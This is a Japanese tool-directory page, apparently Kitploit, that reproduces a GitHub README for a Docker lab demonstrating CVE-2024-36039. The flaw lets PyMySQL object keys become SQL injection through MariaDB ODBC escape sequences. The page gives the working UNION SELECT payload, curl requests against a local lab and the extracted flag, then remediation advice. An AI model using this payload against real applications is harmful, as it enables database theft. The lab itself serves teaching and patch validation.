Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-36039_PoC — CVE-2024-36039 の PoC: PyMySQL のオブジェクトから文字列へのシリアライゼーション欠陥を介した SQL インジェクションの実証 | Kitploit
ツール/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育データベースセキュリティラボと実践
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

CVE-2024-36039 の PoC: PyMySQL のオブジェクトから文字列へのシリアライゼーション欠陥を介した SQL インジェクションの実証

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-36039: PyMySQL オブジェクトインジェクションからSQLインジェクションへのPoC

Docker Python MariaDB Vulnerability CVE

CVE-2024-36039 向けの完全かつ再現可能な Proof of Concept (PoC) ラボです。PyMySQL(バージョン <= 1.1.0)のオブジェクトインジェクション脆弱性を、MariaDB の ODBC エスケープシーケンスを使用して完全な SQL インジェクションに昇格できることを実演します。


⚠️ 法的および倫理的免責事項(倫理的な使用のみ)

  • このリポジトリは学術および研究目的のみを対象としています。
  • 提供されるコードと技術は、所有していない、または明示的な書面によるテスト許可を得ていないシステムへの干渉に使用してはなりません。
  • 著者および貢献者は、この情報の誤用によって生じたいかなる結果や損害についても責任を負いません。
  • このリポジトリを使用することで、これらの条件に同意したものとみなされます。

📖 1. 脆弱性の概要

CVE-2024-36039 は、純Python製のMySQLクライアントライブラリである PyMySQL の脆弱性です。

パラメータ化されたクエリ(例: execute("SELECT * FROM table WHERE data = %s", (my_dict,)))が、標準の文字列ではなくキーがカスタムオブジェクトである Python 辞書を受け取ると、PyMySQL はオブジェクトの __str__ または __repr__ メソッドを使用して SQL 文字列にシリアライズします。

バグ: PyMySQL は、オブジェクトキーの結果文字列をエスケープ(一重引用符で囲むこと)するのを忘れてしまいます。その結果、引用符で囲まれていない生の文字列が、{UnquotedObjectString: 'EscapedValue'} という辞書形式で SQL ステートメントに直接注入されます。


🔬 2. 技術的な深掘り: MariaDB ODBC トリック

単体では、{UnquotedKey: 'Value'} を MariaDB クエリに注入すると、{} は標準の SQL データ構文ではないため、1064 Syntax Error が発生します。

しかし、MariaDB/MySQL は中括弧 {} を使用する ODBC エスケープシーケンス をサポートしています。構文エラーを回避するには、{ の直後に続く文字列が有効な ODBC キーワード(例: d、t、ts、fn)である必要があります。

悪用チェーン:

  1. オブジェクトキー(インジェクションポイント): __repr__ メソッドを介して fn/* を返すカスタムオブジェクトを作成します。
  2. 値(ペイロード): 辞書の値を */ 1} UNION SELECT 1, flag, 3 FROM secret -- に設定します。
  3. PyMySQL によるシリアライズ: PyMySQL は、キーを引用符で囲まずにこの辞書を SQL クエリにフォーマットします:
    root@kitploit:~
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. MariaDB の解析マジック:
    • {fn : MariaDB は ODBC スカラー関数の開始を認識します。
    • /*: "'*/ : MariaDB はこれをブロックコメントとして扱います。PyMySQL によって生成されたコロン : と開始引用符 ' は完全に無視されます!
    • 1} : ODBC 関数を完了します(実質的に整数 1 を返します)。
    • UNION SELECT 1, flag, 3 FROM secret : 注入された SQL ペイロードが実行されます。
    • : SQL コメントが残りの末尾の不要な文字列()を無視します。

結果: アプリケーションロジックと PyMySQL のパラメータ化の両方を回避する、完璧な SQL インジェクションが成立します!


🛠️ 3. ラボのセットアップ手順

前提条件

  • Docker
  • Docker Compose

インストール

このリポジトリをクローンして環境を起動します:

root@kitploit:~
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(MariaDB コンテナが完全に初期化されるまで約15〜20秒待ちます)。


🎯 4. 悪用手順

ステップ 1: 通常のリクエスト

標準の JSON リクエストを送信します。バックエンドは JSON キーを CustomKey オブジェクトにキャストします。

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

レスポンス: {yamato: "'Any_value'"} が無効な SQL であることを示す SQL 構文エラーが返り、インジェクションポイントが確認できます。

ステップ 2: エクスプロイト(フラグの抽出)

ODBC エスケープシーケンスのペイロードを注入して構文エラーを回避し、secret テーブルから隠されたフラグを抽出します。

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

レスポンス(PWNED!):

root@kitploit:~
{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. 修正方法

この脆弱性を修正するには、PyMySQL をバージョン 1.1.1 以降 にアップグレードしてください。

パッチ適用済みバージョンでは、開発者はすべての辞書キーが、型に関係なく、SQL ステートメントに挿入される前に適切にエスケープおよび引用符で囲まれることを保証しています。

root@kitploit:~
pip install --upgrade PyMySQL

📚 6. クレジットと参考文献

  • CVE-2024-36039 アドバイザリ: NVD - CVE-2024-36039
  • PyMySQL セキュリティパッチ: PyMySQL GitHub Release v1.1.1
  • MariaDB ODBC エスケープシーケンス: MariaDB ドキュメント。
  • インスピレーション: このラボ環境は、オブジェクトから文字列へのシリアライズの欠陥を利用した最新の Web エクスプロイト技術に基づいてモデル化されています。

免責事項: このリポジトリは教育および研究目的のみで作成されています。所有していない、または明示的なテスト許可を得ていないシステムに対して、これらの技術を使用しないでください。

© 2026 by zenniskayy. より安全なインターネットのために作られました。

ツールをダウンロード
-- '"}
'}